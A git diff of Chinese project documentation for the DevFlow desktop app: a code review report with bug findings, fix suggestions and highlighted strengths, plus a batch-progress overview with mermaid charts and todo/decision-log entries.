**文件**: `crates/df-workflow/src/dag.rs:174-192`
|
|
||||||
|
|
||||||
`deep_merge(global, null)` 返回 `null`。若某节点定义写了 `"config": null`(JSON 显式 null),该节点 `ctx.config = Value::Null`,原本期望继承全局 config 的节点拿到空配置。
|
|
||||||
|
|
||||||
**建议**:`DagExecutor.run()` 中对 `deep_merge` 结果做 `if result.is_null() { initial_config.clone() }` 兜底。
|
|
||||||
|
|
||||||
### ⑲ dag.rs — `_` 通配 match 掩盖未覆盖变体
|
|
||||||
|
|
||||||
**文件**: `crates/df-workflow/src/dag.rs:191`
|
|
||||||
|
|
||||||
`deep_merge` 的 match 最后分支 `_ => node.clone()` 过于宽泛。若未来新增 `serde_json::Value` 变体,不会被编译器捕获。
|
|
||||||
|
|
||||||
**建议**:显式列出所有剩余变体并 `bail!`,迫使维护者在修改时意识到影响。
|
|
||||||
|
|
||||||
### ⑳ shell.rs — `String::from_utf8_lossy` 编码错误被静默替换
|
|
||||||
|
|
||||||
**文件**: `crates/df-execute/src/shell.rs:155-156`
|
|
||||||
|
|
||||||
shell 输出使用 `String::from_utf8_lossy`,将非 UTF-8 字节替换为 `<60>`。对于中文/日文环境(如 `chcp 65001` 前的 GBK 输出),用户看到乱码替代符,诊断困难。
|
|
||||||
|
|
||||||
**建议**:添加 `tracing::debug!` 记录损失性替换的字节数,或提供 `encoding_rs` 转码选项。
|
|
||||||
|
|
||||||
### ㉑ query LIKE 搜索 — SQL 通配符未转义
|
|
||||||
|
|
||||||
**文件**: `crates/df-storage/src/crud/project_repo.rs:245-246`
|
|
||||||
|
|
||||||
`LIKE ?` 使用 `%{trimmed}%` 拼接,`keyword` 中的 `%`/`_` 会被字面匹配。用户搜索 `100%` 匹配所有行,搜索 `error_404` 匹配 `errorX404`。
|
|
||||||
|
|
||||||
**建议**:对 keyword 中的 `%`/`_` 做 `replace` 转义,加 `ESCAPE '\'` 子句。
|
|
||||||
|
|
||||||
### ㉒ coordinator.rs — 空壳仅用注释声明"勿删",应加编译期守卫
|
|
||||||
|
|
||||||
**文件**: `crates/df-ai/src/coordinator.rs:1-24`
|
|
||||||
|
|
||||||
注释声明「B 路线占位,有意保留空壳,勿删」,但无 `#[deprecated]` 或 `#[doc(hidden)]` 编译期标记。调用方引入 `AgentCoordinator::new().run()` 只能运行时发现返回 `"TODO"`。
|
|
||||||
|
|
||||||
**建议**:加 `#[deprecated(note = "B 路线占位,勿用于生产")]`。
|
|
||||||
|
|
||||||
### ㉓ secret.rs — 密钥迁移 sidecar 文件写入无原子性
|
|
||||||
|
|
||||||
**文件**: `crates/df-storage/src/secret.rs:75-81`
|
|
||||||
|
|
||||||
`record_migration_fail` 每次调用同步读文件 → 改 map → 写文件,迁移时 10+ provider 逐条失败时每条 2 次文件 I/O。无原子写入保障,异常中断可能产生半写文件。
|
|
||||||
|
|
||||||
**建议**:积累内存中的失败计数,迁移循环结束后一次性持久化。
|
|
||||||
|
|
||||||
### ㉔ Intent/planner/plan_hint — 纯函数模块无单测覆盖
|
|
||||||
|
|
||||||
**文件**: `crates/df-ai/src/intent.rs` / `planner.rs` / `plan_hint.rs`
|
|
||||||
|
|
||||||
注释声称「纯函数、零 IO」,均无 `#[cfg(test)]` 覆盖。Phase 1 接入主 loop 前应补充。
|
|
||||||
|
|
||||||
**建议**:为这些纯函数模块补充输入输出确定性匹配测试。
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🟡 前端
|
|
||||||
|
|
||||||
### ㉕ Settings.vue — 内联 confirm 弹层重复实现
|
|
||||||
|
|
||||||
**文件**: `src/views/Settings.vue:7-16`
|
|
||||||
|
|
||||||
Settings.vue 内联了完整 confirm 弹层模板,完全复制了 `ConfirmDialog.vue` 的 UI/逻辑,自身维护 `confirmState`/`answerConfirm`。全项目已有 `useConfirm` composable。
|
|
||||||
|
|
||||||
**建议**:用 `useConfirm` + `ConfirmDialog` 替换内联实现。
|
|
||||||
|
|
||||||
### ㉖ 多视图 — 按钮 CSS 重复定义
|
|
||||||
|
|
||||||
**文件**: `Dashboard.vue:126-162` / `Projects.vue:445-458` / `Ideas.vue:421-432` / `Knowledge.vue:449-458`
|
|
||||||
|
|
||||||
四处视图各自定义 scoped 按钮样式。项目已通过 `main.ts` 导入全局 `styles/components.css`。
|
|
||||||
|
|
||||||
**建议**:删除视图内按钮样式,统一走全局 CSS。
|
|
||||||
|
|
||||||
### ㉗ Ideas.vue + Knowledge.vue — tags 解析逻辑重复
|
|
||||||
|
|
||||||
**文件**: `src/views/Ideas.vue:302` / `src/views/Knowledge.vue:321`
|
|
||||||
|
|
||||||
```ts
|
|
||||||
tags.split(',').map(t => t.trim()).filter(Boolean)
|
|
||||||
```
|
|
||||||
|
|
||||||
**建议**:提取为工具函数 `parseTagsInput` 放进 `src/utils/`。
|
|
||||||
|
|
||||||
### ㉘ Ideas.vue — Arco Design `Message` 残留
|
|
||||||
|
|
||||||
**文件**: `src/views/Ideas.vue:144`
|
|
||||||
|
|
||||||
全项目仅在 Ideas.vue 使用了 Arco 的 `Message` 组件(3 处),其余使用自建 toast。混用。
|
|
||||||
|
|
||||||
**建议**:用自建 `showToast` 替换后删除 Arco 依赖。
|
|
||||||
|
|
||||||
### ㉙ stores/ai.ts — 两个 watch 监听同一 `.messages.length`
|
|
||||||
|
|
||||||
**文件**: `src/stores/ai.ts:204, 241`
|
|
||||||
|
|
||||||
两个 `watch(() => state.messages.length, ...)` 分别处理条数上限和 parts 体积上限。每次 length 变化触发两个 watch,第二个还要遍历 messages 求和。
|
|
||||||
|
|
||||||
**建议**:合并为一个 watch。
|
|
||||||
|
|
||||||
### ㉚ AiChat.vue — `initDrainQueueListener` 每次 `useAiStore()` 调用都执行
|
|
||||||
|
|
||||||
**文件**: `src/stores/ai.ts:304`
|
|
||||||
|
|
||||||
```ts
|
|
||||||
void initDrainQueueListener()
|
|
||||||
```
|
|
||||||
每次调用 `useAiStore()` 都执行。需确认内部做了幂等守卫。
|
|
||||||
|
|
||||||
**建议**:确保只初始化一次(如外层 `initOnce` 布尔守卫)。
|
|
||||||
|
|
||||||
### ㉛ AiChat.vue — 空值传播无告警
|
|
||||||
|
|
||||||
**文件**: `src/components/AiChat.vue:238`
|
|
||||||
|
|
||||||
```ts
|
|
||||||
const conv = store.state.conversations.find(c => c.id === id)
|
|
||||||
const title = conv?.title || t('aiChat.newConversation')
|
|
||||||
```
|
|
||||||
`find` 返回 `undefined` 时静默回退默认标题。非预期 ID 进入时不告警。
|
|
||||||
|
|
||||||
**建议**:至少 `console.warn` 记录 ID 不在列表中的情况。
|
|
||||||
|
|
||||||
### ㉜ 多视图 — `catch (e: any)` 类型退化
|
|
||||||
|
|
||||||
**文件**: 几乎所有 Vue 视图
|
|
||||||
|
|
||||||
```ts
|
|
||||||
catch (e: any) {
|
|
||||||
state.error = e?.toString() ?? t('xxx.failed')
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**建议**:统一改为 `catch (e: unknown)`。
|
|
||||||
|
|
||||||
### ㉝ AiChat.vue — 体积仍偏大
|
|
||||||
|
|
||||||
**文件**: `src/components/AiChat.vue`(模板 128 行 + script ~200+ 行)
|
|
||||||
|
|
||||||
仍承载全局快捷键处理、编辑态管理、队列编辑态管理、Toast 共享状态等。
|
|
||||||
|
|
||||||
**建议**:将键盘快捷键抽离为 `useAiShortcuts` composable。
|
|
||||||
|
|
||||||
### ㉞ Ideas.vue — `searchQuery.trim()` 重复调用
|
|
||||||
|
|
||||||
**文件**: `src/views/Ideas.vue:219-220`
|
|
||||||
|
|
||||||
```ts
|
|
||||||
if (searchQuery.value.trim()) {
|
|
||||||
q.keyword = searchQuery.value.trim()
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**建议**:提取 `const trimmed = searchQuery.value.trim()`。
|
|
||||||
|
|
||||||
### ㉟ Projects.vue — 冗余 `as string` 断言
|
|
||||||
|
|
||||||
**文件**: `src/views/Projects.vue:217-218, 222`
|
|
||||||
|
|
||||||
`selected` 已被类型收窄为 `string`,后续 `as string` 多余。
|
|
||||||
|
|
||||||
### ㊱ MCP tools/list — `unwrap_or(Value::Null)` 在数组中混入 null
|
|
||||||
|
|
||||||
**文件**: `crates/df-mcp/src/server.rs:140-142`
|
|
||||||
|
|
||||||
```rust
|
|
||||||
serde_json::to_value(&t.tool).unwrap_or(Value::Null)
|
|
||||||
```
|
|
||||||
若某个 tool schema 序列化失败,tools 数组中混入 `null`。
|
|
||||||
|
|
||||||
**建议**:`.filter_map(|t| serde_json::to_value(&t.tool).ok())`。
|
|
||||||
|
|
||||||
### ㊲ Ideas.vue — `IdeaQuery` 类型未充分对齐
|
|
||||||
|
|
||||||
**文件**: `src/views/Ideas.vue:146, 214-217`
|
|
||||||
|
|
||||||
`order_by` 字段类型为 `string | null`,后端若收窄为联合类型白名单,前端不会报错。
|
|
||||||
|
|
||||||
**建议**:前端 `order_by` 使用 `'score' | 'created_at' | null`。
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## ✅ 亮点
|
## ✅ 亮点
|
||||||
|
|
||||||
### ① 密钥管理分层设计(secret.rs)
|
### ① df-ai/df-ai-core trait 下沉(F-01)
|
||||||
`resolve_provider_secret` 三阶段回落:DB 明文(向前兼容)→ OS keyring → 空字符串。迁移非阻断、幂等、失败计数告警。单测通过 `cfg` gate 仅桌面 OS 跑 keyring 测试。
|
df-ai-core 零 HTTP 依赖(仅 5 个依赖),df-ai 保留 reqwest/eventsource-stream。df-ideas 等轻消费方只引 df-ai-core。**真实落地的解耦**。
|
||||||
|
|
||||||
### ② SQL 注入防护体系
|
### ② df-mcp advance_task 复用 df-nodes 状态机
|
||||||
列名白名单(`validate_column_name` + `impl_repo!` 宏统一调用),`build_order_clause` 对排序方向也做白名单校验。软删除/恢复/清空全部参数化 SQL。
|
MCP 与 IPC 都走 `df_nodes::task_advance_node::advance_task_atomic`,推进链三层校验(is_valid_state/can_transition/CAS/regression bump)唯一实现。Cargo.toml 注释明确「避免 MCP 直调底层绕过状态机」。
|
||||||
|
|
||||||
### ③ 前端竞态保护(knowledge.ts)
|
### ③ keyring 密钥下沉 + 迁移补偿
|
||||||
递增序列号丢弃过期响应。`ai.ts` watch 双重守卫(`oldLen > 0 && newLen - oldLen <= 2`)精确区分局部增长和整体替换。
|
secret.rs 三阶段回落(DB明文→OS keyring→空),`migrate_secrets_to_keyring` 启动一次性迁移,失败计数达阈值升级 warn。`AiProviderRecord` 自定义 Debug 把 api_key 脱敏为 `"sk-****"`。
|
||||||
|
|
||||||
### ④ `useConfirm` 统一确认弹层
|
### ④ SanitizedPath newtype 强类型
|
||||||
从 4 个视图中提取重复 Promise+resolve 模式,正确处理并发覆盖场景(前一个 Promise 先 resolve false)。
|
`df-types/src/augmentation.rs:29` `pub struct SanitizedPath(String)` 强制所有注入 LLM 的路径经 sanitize 入口,防裸 String 误用。
|
||||||
|
|
||||||
### ⑤ Store 内部分拆 4 子 store
|
### ⑤ 取消路径 TOCTOU 三层防护
|
||||||
`stores/project/` 拆分为 projects/tasks/ideas/workflow,共享 `state.ts` 单例,对外 `useProjectStore()` 不变——「内部拆分,外部零改动」。
|
state.rs:106 set_cancelled 作为唯一受控旁路 + executor.rs:180-226 双重检查 + HumanNode select! 轮询。注释详细记录时序窗口。
|
||||||
|
|
||||||
### ⑥ 取消路径 TOCTOU 三层防护
|
### ⑥ SQLite WAL + spawn_blocking 正确
|
||||||
`state.rs:86-100` + `executor.rs:180-232`:Ok 后检查、Err 分支检查、阻塞节点轮询。注释详细记录了 TOCTOU 时序窗口。
|
所有 DB 操作在 spawn_blocking + blocking_lock 中,无 sync rusqlite 在 async 裸调用;批量用事务原子提交;WAL 模式读写不互斥。
|
||||||
|
|
||||||
### ⑦ MCP 多层防御
|
### ⑦ 重试机制工业级
|
||||||
三级过滤:`visible()` 读模式仅 Low 工具、`tools/list` 剔除 High、`dispatch` 再拦截 read-only + Medium 拒 + High 兜底拒。
|
retry.rs ±50% jitter(rand::thread_rng)+ 错误分类(Ok/Retryable/Fatal)+ 总预算止损 30s + 流式不重试。complete() 两处接入,单测齐全。
|
||||||
|
|
||||||
### ⑧ V21 大版本迁移谨慎
|
### ⑧ kill_on_drop + Windows CREATE_NO_WINDOW
|
||||||
`BATCH_SIZE=50` 分页、空库跳过、解析失败 skip 而非崩溃、`column_exists` 守卫 ALTER TABLE 防重复执行。
|
shell.rs:147,154 — 超时 future drop → Command 析构 → kill 子进程;Windows 黑窗抑制。
|
||||||
|
|
||||||
### ⑨ 子进程清理 + Windows 黑窗抑制
|
### ⑨ TaskStatus is_valid 单测覆盖
|
||||||
`kill_on_drop(true)` 超时后子进程不残留;`creation_flags(0x08000000)` 抑制 Windows 黑窗闪现。
|
df-types/types.rs:437-477 测试了拼写错误/大小写/空白/SQL 注入/中文近义等边界,valid_values_all_pass_is_valid 锁定清单一致性。
|
||||||
|
|
||||||
|
### ⑩ SSRF 防护完整
|
||||||
|
http.rs:50-208 私网 IP 黑名单 + DNS rebinding 防护(多 A 记录全检)+ 重定向 ≤3 跳每跳重新校验 + body 截断 50KB。
|
||||||
|
|
||||||
|
### ⑪ V21 大版本迁移谨慎
|
||||||
|
BATCH_SIZE=50 分页 + 空库跳过 + 坏数据 skip 不崩溃 + column_exists 守卫 ALTER TABLE。
|
||||||
|
|
||||||
|
### ⑫ 前端 composable 已大范围抽离
|
||||||
|
src/composables/ai/ 已拆 14 文件,AiChat.vue 从巨型组件瘦身到 767 行聚合容器。Settings.vue 已 master-detail 重构(8 个子 Section/Panel,309 行壳)。
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -382,11 +314,20 @@ serde_json::to_value(&t.tool).unwrap_or(Value::Null)
|
|||||||
|
|
||||||
| 分类 | 🔴 | 🟡 | ✅ |
|
| 分类 | 🔴 | 🟡 | ✅ |
|
||||||
|------|----|----|----|
|
|------|----|----|----|
|
||||||
| 安全 | 8 | — | — |
|
| 安全 | 3 | — | — |
|
||||||
| 文档 | 9 | — | — |
|
| 架构 | 6 | — | — |
|
||||||
| 代码质量 | — | 7 | — |
|
| 代码质量 | 4 | — | — |
|
||||||
| 前端 | — | 13 | — |
|
| 并发可靠性 | — | 5 | — |
|
||||||
| 亮点 | — | — | 9 |
|
| 代码简洁性 | — | 7 | — |
|
||||||
| **合计** | **17** | **20** | **9** |
|
| 文档 | — | 6 | — |
|
||||||
|
| 亮点 | — | — | 12 |
|
||||||
|
| **合计** | **13** | **18** | **12** |
|
||||||
|
|
||||||
**总体评价**:核心安全架构扎实(SQL 注入防护、密钥管理、MCP 多层防御、取消 TOCTOU)。主要风险集中在 `state.rs` 同步锁在 async 上下文中的潜在死锁、文档与代码脱节(AI对话引擎工具数过时、INDEX 漏列 9 文档、~100 行已移除模块残留)。前端整体质量高,但需清理少量遗留(Arco 残留、内联 confirm 重复)。
|
**总体评价**:核心安全架构扎实(SQL 注入防护、keyring 密钥、SSRF 防护、取消 TOCTOU、重试工业级),前端架构演进健康(composable 大范围抽离、Settings 已 master-detail 重构)。
|
||||||
|
|
||||||
|
主要问题集中在:
|
||||||
|
- **架构债**:AI 核心状态机焊死 src-tauri(#4)、df-project 伪分层(#5)、文档严重失步(#9)
|
||||||
|
- **代码质量**:useAiEvents 三处复制粘贴(#10)、Store 错误处理 38 处重复(#11)
|
||||||
|
- **安全细节**:ScriptNode 元字符绕过(#1)、MCP 无鉴权(#2)
|
||||||
|
|
||||||
|
优先修复建议:① 修文档(#9 成本极低);② 补 df-relay 测试(#13);③ ScriptNode 默认黑名单(#1);④ 抽 useAiEvents 公共函数(#10)。
|
||||||
|
|||||||
188
docs/Batch-Overview.md
Normal file
188
docs/Batch-Overview.md
Normal file
@@ -0,0 +1,188 @@
|
|||||||
|
# DevFlow 批次可视化总览
|
||||||
|
|
||||||
|
> 基于 [Batch.md](../Batch.md) 生成 | 更新: 2026-07-01
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一、批次时间线(已完成)
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
gantt
|
||||||
|
title DevFlow 批次推进时间线
|
||||||
|
dateFormat YYYY-MM-DD
|
||||||
|
axisFormat %m-%d
|
||||||
|
|
||||||
|
section 审批与工具卡
|
||||||
|
Batch 1 审批超时后端兜底 :done, b1, 2026-06-14, 1d
|
||||||
|
Batch 2 工具卡片拆分核验 :done, b2, after b1, 1d
|
||||||
|
Batch 3 条件表达式 UI 翻译 :done, b3, after b2, 1d
|
||||||
|
|
||||||
|
section 数据与状态
|
||||||
|
Batch 4 知识提炼切读消息表 :done, b4, after b3, 1d
|
||||||
|
Batch 5 关闭已完成待办项 :done, b5, after b4, 1d
|
||||||
|
Batch 6 应用状态拆分+路径授权 :done, b6, after b5, 1d
|
||||||
|
|
||||||
|
section 跨端与消息
|
||||||
|
Batch 7 小程序配置持久化 :done, b7, after b6, 1d
|
||||||
|
Batch 8 消息分页懒加载 :done, b8, after b7, 1d
|
||||||
|
Batch 9 多工程数据层 :done, b9, after b8, 1d
|
||||||
|
|
||||||
|
section 文件浏览器
|
||||||
|
Batch 10 文件浏览器 UI :done, b10, after b9, 1d
|
||||||
|
Batch 11 Git 只读 AI 工具 :done, b11, after b10, 1d
|
||||||
|
Batch 12 Git 写操作 AI 工具 :done, b12, after b11, 1d
|
||||||
|
Batch 13 文件浏览器增强 :done, b13, after b12, 1d
|
||||||
|
|
||||||
|
section 收尾与重构
|
||||||
|
Batch 14 浏览器收尾 :done, b14, after b13, 1d
|
||||||
|
Batch 15 多工程管理 :done, b15, after b14, 1d
|
||||||
|
Batch 16 提交历史作者 :done, b16, after b15, 1d
|
||||||
|
|
||||||
|
section 崩溃修复与 UX
|
||||||
|
渲染崩溃修复 TDZ+窗口权限 :done, fix1, after b16, 1d
|
||||||
|
Batch 17 Git 能力闭环 :done, b17, after fix1, 1d
|
||||||
|
Batch 18 小程序审批超时 :done, b18, after b17, 1d
|
||||||
|
|
||||||
|
section UX 与架构
|
||||||
|
Batch 19 任务管理 UX 重构 :done, b19, after b18, 1d
|
||||||
|
Batch 20 coordinator.rs 删除 :done, b20, after b19, 1d
|
||||||
|
任务快捷操作菜单 :done, menu1, after b20, 1d
|
||||||
|
|
||||||
|
section DAG 与依赖图
|
||||||
|
TDZ 防御 :done, tdz1, after menu1, 1d
|
||||||
|
Plan 执行器骨架 :done, plan1, after tdz1, 1d
|
||||||
|
Batch 25 工程依赖图数据层 :done, b25, after plan1, 1d
|
||||||
|
|
||||||
|
section 增强
|
||||||
|
Batch 26 dagre 布局 :done, b26, after b25, 1d
|
||||||
|
Batch 28 架构债收尾 :done, b28, after b26, 1d
|
||||||
|
Batch 29 环检测+PNG+总数 :done, b29, after b28, 1d
|
||||||
|
|
||||||
|
section 待推进
|
||||||
|
Batch 30 代码质量收尾 :b30, after b29, 3d
|
||||||
|
Batch 31 MessageList 拆分 :b31, after b30, 3d
|
||||||
|
Batch 32 ChatInput 拆分 :b32, after b31, 3d
|
||||||
|
Batch 33 多 ReAct 对接 :b33, after b32, 5d
|
||||||
|
Batch 34 产品完善 :b34, after b33, 3d
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 二、功能领域分布
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
pie title 批次功能领域分布(按完成批次数)
|
||||||
|
"文件浏览器/Git" : 8
|
||||||
|
"任务管理 UX" : 3
|
||||||
|
"工程系统" : 4
|
||||||
|
"AI/Agent" : 4
|
||||||
|
"架构债/重构" : 4
|
||||||
|
"小程序" : 2
|
||||||
|
"Bug 修复" : 3
|
||||||
|
"依赖图可视化" : 4
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 三、批次依赖关系图
|
||||||
|
|
||||||
|
> 仅展示批次级别依赖,子任务明细见下方表格。
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
flowchart TD
|
||||||
|
B6["B6 状态拆分"] --> B9["B9 多工程数据层"]
|
||||||
|
B9 --> B10["B10 文件浏览器"]
|
||||||
|
B9 --> B25["B25 依赖图数据"]
|
||||||
|
B10 --> B13["B13 浏览器增强"]
|
||||||
|
B13 --> B14["B14 收尾"]
|
||||||
|
B13 --> B15["B15 多工程管理"]
|
||||||
|
B13 --> B16["B16 提交作者"]
|
||||||
|
B13 --> B17["B17 Git 闭环"]
|
||||||
|
B25 --> B26["B26 dagre布局"]
|
||||||
|
B26 --> B29["B29 环检测+PNG"]
|
||||||
|
B9 --> B11["B11 Git只读"]
|
||||||
|
B11 --> B12["B12 Git写操作"]
|
||||||
|
PLAN["Plan执行器"] --> B33["B33 多ReAct"]
|
||||||
|
B30["B30 代码质量"] --> B31["B31 MsgList拆分"]
|
||||||
|
B31 --> B32["B32 ChatInput拆分"]
|
||||||
|
|
||||||
|
style B6 fill:#2d5a2d,color:#fff
|
||||||
|
style B9 fill:#2d5a2d,color:#fff
|
||||||
|
style B10 fill:#2d5a2d,color:#fff
|
||||||
|
style B11 fill:#2d5a2d,color:#fff
|
||||||
|
style B12 fill:#2d5a2d,color:#fff
|
||||||
|
style B13 fill:#2d5a2d,color:#fff
|
||||||
|
style B14 fill:#2d5a2d,color:#fff
|
||||||
|
style B15 fill:#2d5a2d,color:#fff
|
||||||
|
style B16 fill:#2d5a2d,color:#fff
|
||||||
|
style B17 fill:#2d5a2d,color:#fff
|
||||||
|
style B25 fill:#2d5a2d,color:#fff
|
||||||
|
style B26 fill:#2d5a2d,color:#fff
|
||||||
|
style B29 fill:#2d5a2d,color:#fff
|
||||||
|
style PLAN fill:#2d5a2d,color:#fff
|
||||||
|
style B30 fill:#5a4a2d,color:#fff
|
||||||
|
style B31 fill:#5a4a2d,color:#fff
|
||||||
|
style B32 fill:#5a4a2d,color:#fff
|
||||||
|
style B33 fill:#5a4a2d,color:#fff
|
||||||
|
```
|
||||||
|
|
||||||
|
绿色 = 已完成 | 橙色 = 待推进
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 四、批次子任务明细
|
||||||
|
|
||||||
|
| 批次 | 状态 | 子任务 |
|
||||||
|
|------|------|--------|
|
||||||
|
| Batch 9 | ✅ | project_modules 表 · ModuleRepo CRUD · 创建项目适配 · AI 工具注册 |
|
||||||
|
| Batch 10 | ✅ | 文件树组件 · 文件预览 · Git 状态标记 · 面包屑导航 |
|
||||||
|
| Batch 13 | ✅ | 行号/图标 · Diff 视图 · Git 变更面板 · 窗口分离 · 分页提交历史 |
|
||||||
|
| Batch 17 | ✅ | Diff 行号解析 · 分支只读展示 · 提交详情 · 写入后自动刷新 |
|
||||||
|
| Batch 19 | ✅ | 搜索框 · 筛选改下拉 · 排序选择器 · 分组可折叠 · 快捷操作菜单 |
|
||||||
|
| Batch 25 | ✅ | module_dependencies 表 · DependencyRepo CRUD · 依赖边渲染 · 小地图 |
|
||||||
|
| Batch 26 | ✅ | dagre 布局 · 添加依赖弹窗 · 边类型着色 |
|
||||||
|
| Batch 29 | ✅ | 环形检测 IPC · PNG 导出 · count_tasks IPC · 真实 total |
|
||||||
|
| Batch 30 | ⏸️ | 搜索索引核验 · 编译警告清理 · i18n 核验 · String 替 newtype |
|
||||||
|
| Batch 31 | ⏸️ | 提取 MessageItem.vue · 提取 useMessageScroll.ts |
|
||||||
|
| Batch 32 | ⏸️ | 提取 SkillMention.vue · 提取 ImageInput.vue |
|
||||||
|
| Batch 33 | ⏸️ | PlanExecutor 接入 loop · plan_hint 生成 DAG · 执行进度展示 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 四、关键指标
|
||||||
|
|
||||||
|
| 指标 | 数值 |
|
||||||
|
|------|------|
|
||||||
|
| 已完成批次 | 29 |
|
||||||
|
| 待推进批次 | 5 |
|
||||||
|
| 总提交数(Batch 1-29) | ~35 |
|
||||||
|
| 涉及 Rust 文件 | ~25 |
|
||||||
|
| 涉及 Vue/TS 文件 | ~40 |
|
||||||
|
| 新增数据库迁移版本 | V35 |
|
||||||
|
| 新增 IPC 命令 | ~15 |
|
||||||
|
| 新增 npm 依赖 | @antv/x6 / dagre / highlight.js |
|
||||||
|
| 当前最大文件 | MessageList.vue(1552行,待拆分) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 五、待推进批次优先级矩阵
|
||||||
|
|
||||||
|
| 批次 | 价值 | 风险 | 象限 | 建议 |
|
||||||
|
|------|------|------|------|------|
|
||||||
|
| Batch 30 代码质量 | 中 | 低 | 高价值低风险 | ✅ 优先做 |
|
||||||
|
| Batch 31 MessageList 拆分 | 高 | 高 | 高价值高风险 | ⚠️ 需谨慎,要测试覆盖 |
|
||||||
|
| Batch 32 ChatInput 拆分 | 高 | 高 | 高价值高风险 | ⚠️ 需谨慎,要测试覆盖 |
|
||||||
|
| Batch 33 多 ReAct 对接 | 很高 | 很高 | 高价值高风险 | ⚠️ 核心架构改动 |
|
||||||
|
| Batch 34 产品完善 | 中 | 中 | 中价值中风险 | 🟡 可延后 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 六、批次提交密度
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
xychart-beta
|
||||||
|
title "批次提交密度(按阶段)"
|
||||||
|
x-axis ["阶段1", "阶段2", "阶段3", "阶段4", "阶段5", "阶段6", "阶段7", "阶段8", "阶段9"]
|
||||||
|
y-axis "批次数" 0 --> 8
|
||||||
|
bar [3, 3, 2, 3, 3, 3, 3, 3, 3]
|
||||||
|
```
|
||||||
@@ -17,7 +17,8 @@ docs/
|
|||||||
├── 待决策论证-2026-06-16.md # (归档) 7 项决策论证(D-01~04 已定 / DEC-01~03 已闭环)
|
├── 待决策论证-2026-06-16.md # (归档) 7 项决策论证(D-01~04 已定 / DEC-01~03 已闭环)
|
||||||
├── 01-技术文档/
|
├── 01-技术文档/
|
||||||
│ ├── SQLite-CRUD模式-2026-06-12.md
|
│ ├── SQLite-CRUD模式-2026-06-12.md
|
||||||
│ └── Tauri-IPC模式-2026-06-12.md
|
│ ├── Tauri-IPC模式-2026-06-12.md
|
||||||
|
│ └── AntV-X6调研报告与引入计划-2026-06-30.md # 图可视化层选型(v3.1.7)+ 依赖图落地计划
|
||||||
├── 02-架构设计/
|
├── 02-架构设计/
|
||||||
│ ├── INDEX.md # 本目录分类索引(按性质四类 + 命名规范摘要)
|
│ ├── INDEX.md # 本目录分类索引(按性质四类 + 命名规范摘要)
|
||||||
│ ├── Phase1架构决策-2026-06-12.md
|
│ ├── Phase1架构决策-2026-06-12.md
|
||||||
@@ -107,7 +108,7 @@ docs/
|
|||||||
├── 08-用户指南/
|
├── 08-用户指南/
|
||||||
│ ├── 使用手册-2026-06-12.md # 用户手册(对齐 06-15 代码基线)
|
│ ├── 使用手册-2026-06-12.md # 用户手册(对齐 06-15 代码基线)
|
||||||
│ ├── AI文件操作工具手册.md # AI 工具 API 全量参考(10 工具,2026-06-16 更新)
|
│ ├── AI文件操作工具手册.md # AI 工具 API 全量参考(10 工具,2026-06-16 更新)
|
||||||
│ └── patch_file使用指南.md # patch_file 专项使用指南
|
│ ├── patch_file使用指南.md # patch_file 专项使用指南
|
||||||
└── 09-问题排查/
|
└── 09-问题排查/
|
||||||
└── aichat-apikey-401排查-2026-06-15.md
|
└── aichat-apikey-401排查-2026-06-15.md
|
||||||
```
|
```
|
||||||
|
|||||||
12
docs/todo.md
12
docs/todo.md
@@ -312,3 +312,15 @@ graph TD
|
|||||||
> ✅ 全部修复完成(2026-06-27 核验)
|
> ✅ 全部修复完成(2026-06-27 核验)
|
||||||
|
|
||||||
- [~] **IDEA-FIX-10 [P2🟠]** — **前端 filter + 后端分页漏数据**。团队决策:`hot`/`pending` 保留前端 filter(扩多值属性过度设计);keyword/order_by 已下沉后端。
|
- [~] **IDEA-FIX-10 [P2🟠]** — **前端 filter + 后端分页漏数据**。团队决策:`hot`/`pending` 保留前端 filter(扩多值属性过度设计);keyword/order_by 已下沉后端。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 🔍 2026-07-17 aichat 对话功能深度走查待办
|
||||||
|
|
||||||
|
> 详单:[05-代码审查/aichat-对话功能走查-2026-07-17.md](./05-代码审查/aichat-对话功能走查-2026-07-17.md)
|
||||||
|
|
||||||
|
- [x] **AIC-FIX-17-P0-1** — 流式 watchdog legacy 路径 `convStates.clear()` 全局误杀 → `delete(state.activeConversationId)` ✅
|
||||||
|
- [x] **AIC-FIX-17-P0-2** — 审批计时器切/删会话不清 → switch/delete 入口 `clearAllApprovalTimers()` + 注释修正 ✅
|
||||||
|
- [ ] **AIC-FIX-17-P1-1~11** — P1 队列/互斥/modelOverride/死代码/缓存/防重入/删除回落(待后续批次)
|
||||||
|
- [ ] **AIC-FIX-17-P2** — P2 健壮性项(待后续批次)
|
||||||
|
- [ ] **AIC-FIX-17-根因** — F-09 per-conv 收尾(queue / modelOverride / _approvalTimers / _lastDelta 单例化)
|
||||||
|
|||||||
66
docs/待决策.md
66
docs/待决策.md
@@ -42,6 +42,72 @@
|
|||||||
|
|
||||||
### 🟡 待设计/架构演进(有决策点,需方案设计或长期规划)
|
### 🟡 待设计/架构演进(有决策点,需方案设计或长期规划)
|
||||||
|
|
||||||
|
#### T-260630-01 AntV X6 引入决策(图可视化层选型)
|
||||||
|
|
||||||
|
